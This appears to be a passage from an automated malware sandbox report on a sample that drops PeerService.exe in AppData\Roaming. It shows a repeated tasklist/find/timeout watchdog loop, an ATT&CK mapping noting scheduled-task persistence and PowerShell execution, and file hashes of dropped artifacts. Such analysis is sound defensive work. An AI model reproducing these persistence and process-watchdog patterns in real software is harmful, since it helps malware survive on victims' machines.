    - Suspicious use of AdjustPrivilegeToken
    PID:2228
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3844
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3328
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2684
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:716
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1608
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2484
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1724
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3712
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1640
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4336
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:220
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2116
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2044
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3836
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2508
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2708
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2028
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3996
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:728
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1896
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4380
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5020
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2176
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:800
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4560
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3672
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1428
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3988
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3784
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2900
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2536
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:856
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4112
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2484
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1648
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2100
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4164
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:448
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:564
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4244
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3764
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2376
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2560
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:556
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4868
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1448
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1504
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2944
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2948
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2472
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4560
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2640
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4800
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1984
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1676
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4796

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 63f3369719ec0f4063138a71ba369a25fb4824bc035eaa4072ee6a5a1812480a
MD5 e7d0883e28000a6270cf6b3b3f7b6c5a
SHA1 74d916eb15baa5ce4a168cd80d3d2c45d503daa2
SHA512 4b4ade064020959bc677689fa658816c8c498c8117df70a1ae4076533972593b4e2c3bf45d39e28662892e12db07641f14870ef69292e81030f8b3d7c92302f1
TLSH
T1C5112223F38C8920CC96163A509DAC5172B596CB81EEDF9F7FC0D210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_h3rvd0pn.42y.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h3rvd0pn.42y.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

PeerService.exe

Path C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
Size 4.2MB
SHA256 e7f82ae786238841ab2b4ddac84e58aafdd6ce5329f96cfd5fd9e6eab85be4b4
MD5 936e8ecdde1f391be45cbdbeae73df19
SHA1 b44820ebc7c96900e66453aad8c7482889a8abb2
SHA512 1cda1bb5cfe66fbb44013611eca12eea8372c95812914a83c37bce55d6421573efa05822aa58c302b8811c85dac0aa8ca74397300d86181d6163d13b35c34677
SSDEEP 98304:X+hBp75lKkxwwWGoqZ92yVG/uzGNV9HkAVHLS:X+hBtOk+nByQyVG/uzGNVyAl2
TLSH
T1B726D02B726901A8F0BFD178C9565907EBF2780543A096CF12E0C7B62B77BE14A7E345
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1524-27-0x0000022FA12F0000-0x0000022FA1312000-memory.dmp

Download

memory/1524-39-0x0000022FA33A0000-0x0000022FA35BC000-memory.dmp

Download

memory/1524-40-0x0000022FA36C0000-0x0000022FA380E000-memory.dmp

Download

memory/5028-44-0x000002437D040000-0x000002437D25C000-memory.dmp

Download

memory/5028-45-0x000002437D3C0000-0x000002437D50E000-memory.dmp

Download